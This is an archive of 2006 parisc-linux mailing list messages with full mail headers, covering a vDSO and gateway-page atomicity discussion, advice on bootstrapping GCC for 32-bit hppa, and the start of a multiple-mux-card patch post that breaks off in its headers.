Original-Received: by wr-out-0506.google.com with SMTP id 67so582962wri
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 01 Nov 2006 07:19:43 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=EE0e+i0I0ilh2BYE4s38+NPK8ONTnjti4rvpBesvqqnNUYK4jiSb9efIJrDUn6to0iYAlk82wdz5yL1WmHH52JmfW+XY8DnH/3LAR/jiXZnkmvTpEaDdjEocsBHFekNk19IFbM2S/yDWxFcpcNsgrKhoQHTSfL+QLwmtHVt37UA=
Original-Received: by 10.78.128.15 with SMTP id a15mr9032364hud;
	Wed, 01 Nov 2006 07:19:42 -0800 (PST)
Original-Received: by 10.78.147.11 with HTTP; Wed, 1 Nov 2006 07:19:42 -0800 (PST)
In-Reply-To: <4546E861.9050909@tausq.org>
Content-Disposition: inline
X-Google-Sender-Auth: 9e4c9afa595128ef
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Tc4hdqtreWU3WK2TZm9nyHMrL0tsZs3D
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24059

On 10/31/06, Randolph Chung <randolph@tausq.org> wrote:
> > atomic ops are *not* prime candidates for vDSO's, I was wrong about
> > this. There are special requirements for the atomic operations which
> > require access to kernel locks, no scheduling, and no signals.  All of
> > these are impossible to do if gdb can write to code, thus we put the
> > atomic ops on the gateway page (which has the aforementioned special
> > properties).
>
> i can't quite see how lws disables scheduling... maybe you can enlighten
> me :)

LWS doesn't disable scheduling. See arch/parisc/kernel/syscall.S

arch/parisc/kernel/syscall.S
547 /* NOTES:
548 This all works becuse intr_do_signal
549 and schedule both check the return iasq
550 and see that we are on the kernel page
551 so this process is never scheduled off
552 or is ever sent any signal of any sort,
553 thus it is wholly atomic from usrspaces
554 perspective
555 */

Checks like this:
arch/parisc/kernel/entry.S
1023 intr_do_resched:
1024 /* Only call schedule on return to userspace. If we're returning
1025 * to kernel space, we may schedule if CONFIG_PREEMPT, otherwise
1026 * we jump back to intr_restore.
1027 */
1028 LDREG PT_IASQ0(%r16), %r20
1029 CMPIB= 0, %r20, intr_do_preempt
1030 nop

Mean that if we take an interrupt while on the gateway page, the
PT_IASQ0 should be zero and prevent intr_do_preempt, or
intr_do_signal, or any other protected intr_* action.

Scheduling isn't a bit problem, but signals cause deadlocks.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble Building GCC
Date: Wed, 1 Nov 2006 20:17:25 -0500 (EST)
Lines: 53
Approved: news@gmane.org
Message-ID: <200611020117.kA21HQCp029595@hiauly1.hia.nrc.ca>
References: <47F7F502-FBD7-4E25-8701-A04DBC278804@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624205 21511 80.91.229.3 (22 Nov 2014 02:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alan.mock@gmail.com (Alan Mock)
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Nov 2006 01:17:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 02 Nov 2006 02:17:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 748F27D74B;
	Wed,  1 Nov 2006 18:17:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06032-05; Wed, 1 Nov 2006 18:17:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90C4A7D74E;
	Wed,  1 Nov 2006 18:17:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE1F37D73E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 18:17:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06032-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Nov 2006 18:17:29 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 44F377D735
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 18:17:29 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kA21HQVK029597;
	Wed, 1 Nov 2006 20:17:27 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kA21HQCp029595;
	Wed, 1 Nov 2006 20:17:26 -0500 (EST)
In-Reply-To: <47F7F502-FBD7-4E25-8701-A04DBC278804@gmail.com> from "Alan Mock"
	at Nov 1, 2006 06:38:25 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AnVvbcGCLi5nE/fRZWtp8OFjZml1ZNjg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24060

> I am having trouble bootstrapping gcc.  My questions are how do I get  
> gcc to bootstrap using hppa1.1 and how do I disable building ada?  I  
> configured using --enable-languages=c,c++ as the only flag and  
> encountered the following error.
> 
> /usr/bin/ld: warning: hppa2.0w architecture of input file `libgcc/./ 
> gthr-gnat_s.o' is incompatible with hppa1.1 output
> /usr/bin/ld: warning: hppa2.0w architecture of input file `libgcc/./ 
> unwind-c_s.o' is incompatible with hppa1.1 output
> /usr/bin/ld: warning: hppa2.0w architecture of input file `./ 
> crtendS.o' is incompatible with hppa1.1 output
> /usr/bin/ld: ./crtbeginS.o(.data.rel+0x0): cannot handle  
> R_PARISC_DIR64 for __dso_handle

You have to force the target to 32 bits when using a 64-bit kernel.
Otherwise, the build machinary will try to build a 64-bit version
of GCC.  However, parisc-linux only supports a 32-bit userspace
at the moment ;(

There's probably a bug in config.guess.  Under hpux, it selects
between 32 and 64 bits based on the bootstrap compiler.  However,
this is a bit of a hack and there's some work going on to try to
integrate the 32 and 63-bit tool chains.

> With many more warning: lines above what is shown.  To fix this I  
> tried passing --target=hppa-unknown-linux-gnu --enable-languages=c,c+ 
> + to configure so that it will not try to build an hppa2.0 compiler,  
> however that produces an error message saying that gnat can't be  
> found, so I guess it is trying to build the ada frontend.

c,c++ should be "c,c++".  This should fix the gnat error.  I typically
something like the following to configure GCC:

../gcc/configure --with-gnu-as --with-gnu-ld --enable-shared --prefix=/home/dave/opt/gnu/gcc/gcc-4.2.0 --with-local-prefix=/home/dave/opt/gnu --enable-threads=posix --enable-__cxa_atexit --host=hppa-linux --enable-clocale=gnu --enable-java-gc=boehm --enable-java-awt="xlib" --enable-languages="c,c++,objc,fortran,java,ada,obj-c++"

The --host option also sets --target.  Here my build directory is adjacent
to my GCC tree.

Using debian and I believe gentoo, GCC 4.1 packages are available.
So, you really shouldn't have to build GCC unless you are interested
in working on or learning about GCC.  4.2 and 4.3 aren't ready for
prime time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] vdso for parisc-linux
Date: Thu, 02 Nov 2006 23:03:57 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <454A08DD.20406@tausq.org>
References: <4544A34A.6080700@tausq.org>	
	<119aab440610300825l4cfd056fi21738f63f3d99d72@mail.gmail.com>	
	<4546E861.9050909@tausq.org>
	<119aab440611010704h2746644bu64d742424a89e030@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624206 21512 80.91.229.3 (22 Nov 2014 02:43:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:26 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Nov 2006 15:04:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx048) with SMTP; 02 Nov 2006 16:04:36 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0E607D7F0;
	Thu,  2 Nov 2006 08:04:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17783-06; Thu, 2 Nov 2006 08:04:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 050D37D7F1;
	Thu,  2 Nov 2006 08:04:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC3AD7D7EF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Nov 2006 08:04:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17782-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Nov 2006 08:04:21 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 42ED27D7D4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Nov 2006 08:04:21 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1Gfe6g-0000rm-Bj; Thu, 02 Nov 2006 23:03:50 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
In-Reply-To: <119aab440611010704h2746644bu64d742424a89e030@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ND54dNANIyd1EvqQe2dr5dVaa2FkZtWN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24061

>> What I have is just infrastructure, we need to add some functionality
>> into it :)
> 
> Yes, but if it gets checked into git it makes it easier to keep it
> from bitrotting.
> With your HK timezone it makes coordinating more difficult.

For people who are interested, this is now on the vdso branch in git.

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Mock <alan.mock@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble Building GCC
Date: Wed, 1 Nov 2006 18:38:25 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <47F7F502-FBD7-4E25-8701-A04DBC278804@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain;
  charset=US-ASCII;
  delsp=yes;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624206 21516 80.91.229.3 (22 Nov 2014 02:43:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Nov 2006 00:39:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 02 Nov 2006 01:39:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 212117D757;
	Wed,  1 Nov 2006 17:39:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05605-01; Wed, 1 Nov 2006 17:39:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF7337D74B;
	Wed,  1 Nov 2006 17:39:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7DED7D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 17:39:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05385-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Nov 2006 17:39:03 -0700 (MST)
Original-Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.180])
	by free.linux.hp.com (Postfix) with ESMTP id 666CE7D735
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Nov 2006 17:39:03 -0700 (MST)
Original-Received: by py-out-1112.google.com with SMTP id w53so222971pyg
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 01 Nov 2006 16:38:29 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:mime-version:content-transfer-encoding:message-id:content-type:to:from:subject:date:x-mailer;
	b=gCmntQaZZeFnzo/j/2Yhvop7fgjx3qP12yR/dP+oY16YlgSgyxTcKbspw/4BTC0OgB/bo9AmUOByQgwob85Vyf/BWwRQzvWkNJxI/kjBetlXlDn5vDdky+4KAlitPLh5M6B4O7Eko4FbBD4VnAu2nqay1X4kKoE7Ox5lDi4yLkU=
Original-Received: by 10.35.93.1 with SMTP id v1mr10000255pyl;
	Wed, 01 Nov 2006 16:38:29 -0800 (PST)
Original-Received: from ?129.93.191.42? ( [129.93.191.42])
	by mx.google.com with ESMTP id y64sm990510pyg.2006.11.01.16.38.27;
	Wed, 01 Nov 2006 16:38:29 -0800 (PST)
X-Mailer: Apple Mail (2.752.2)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Agh6cYRtTXs9XKyRbmQ5u0xKRzdyMkN5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24062

I am having trouble bootstrapping gcc.  My questions are how do I get  
gcc to bootstrap using hppa1.1 and how do I disable building ada?  I  
configured using --enable-languages=c,c++ as the only flag and  
encountered the following error.

/usr/bin/ld: warning: hppa2.0w architecture of input file `libgcc/./ 
gthr-gnat_s.o' is incompatible with hppa1.1 output
/usr/bin/ld: warning: hppa2.0w architecture of input file `libgcc/./ 
unwind-c_s.o' is incompatible with hppa1.1 output
/usr/bin/ld: warning: hppa2.0w architecture of input file `./ 
crtendS.o' is incompatible with hppa1.1 output
/usr/bin/ld: ./crtbeginS.o(.data.rel+0x0): cannot handle  
R_PARISC_DIR64 for __dso_handle
/usr/bin/ld: final link failed: Bad value
collect2: ld returned 1 exit status
make[3]: *** [libgcc_s.so] Error 1
make[3]: Leaving directory `/gcc/gccbuild/gcc'
make[2]: *** [libgcc.a] Error 2
make[2]: Leaving directory `/gcc/gccbuild/gcc'
make[1]: *** [stage1_build] Error 2
make[1]: Leaving directory `/gcc/gccbuild/gcc'
make: *** [bootstrap] Error 2

With many more warning: lines above what is shown.  To fix this I  
tried passing --target=hppa-unknown-linux-gnu --enable-languages=c,c+ 
+ to configure so that it will not try to build an hppa2.0 compiler,  
however that produces an error message saying that gnat can't be  
found, so I guess it is trying to build the ada frontend.

Thanks,
Alan
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble Building GCC
Date: Thu, 02 Nov 2006 20:17:45 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <454A5269.8020800@scarlet.be>
References: <47F7F502-FBD7-4E25-8701-A04DBC278804@gmail.com>	<200611020117.kA21HQCp029595@hiauly1.hia.nrc.ca>
	<119aab440611021000i5c283d29mdda5682afdf2b2c8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624206 21518 80.91.229.3 (22 Nov 2014 02:43:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:26 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Alan Mock <alan.mock@gmail.com>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Nov 2006 20:18:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 02 Nov 2006 21:18:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA4E07D77D;
	Thu,  2 Nov 2006 13:18:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21991-04; Thu, 2 Nov 2006 13:18:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 091677D800;
	Thu,  2 Nov 2006 13:18:14 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71CFF7D7FA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Nov 2006 13:18:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21143-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Nov 2006 13:18:04 -0700 (MST)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id A117F7D77D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Nov 2006 13:18:03 -0700 (MST)
Original-Received: from (ip-213-49-69-15.dsl.scarlet.be [213.49.69.15])
	by weequay.is.scarlet.be  with ESMTP id kA2KHjP16373;
	Thu, 2 Nov 2006 21:17:46 +0100
User-Agent: Icedove 1.5.0.7 (X11/20061013)
In-Reply-To: <119aab440611021000i5c283d29mdda5682afdf2b2c8@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vWBsbc+CLi5nE/fRZWtpzrFjZml1ZJgK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24063



Carlos O'Donell wrote:
> On 11/1/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
>> Using debian and I believe gentoo, GCC 4.1 packages are available.
>> So, you really shouldn't have to build GCC unless you are interested
>> in working on or learning about GCC.  4.2 and 4.3 aren't ready for
>> prime time.
> 
> I recommended he start by learning to build the compiler.
> 
imho, a good source of information for that was for me the learning the way the debian packages (gcc-4.1 and gcc-4.2 aka 
gcc-snapshot) are build (verbose build and log the stuff was helpfull). More over, for me, those pakages are particulary 
well design: uptream sources, debian patches, ... and consequently easy to understand ;-)

Ciao,
	Joel
> Cheers,
> Carlos.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ryan Bradetich" <rbradetich@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Multiple Mux Cards.
Date: Thu, 2 Nov 2006 23:51:37 -0800
Lines: 160
Approved: news@gmane.org
Message-ID: <e739902b0611022351l3a4e53deld3cacd29e4b721a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_7886_21731243.1162540297083"
X-Trace: ger.gmane.org 1416624207 21522 80.91.229.3 (22 Nov 2014 02:43:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:27 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
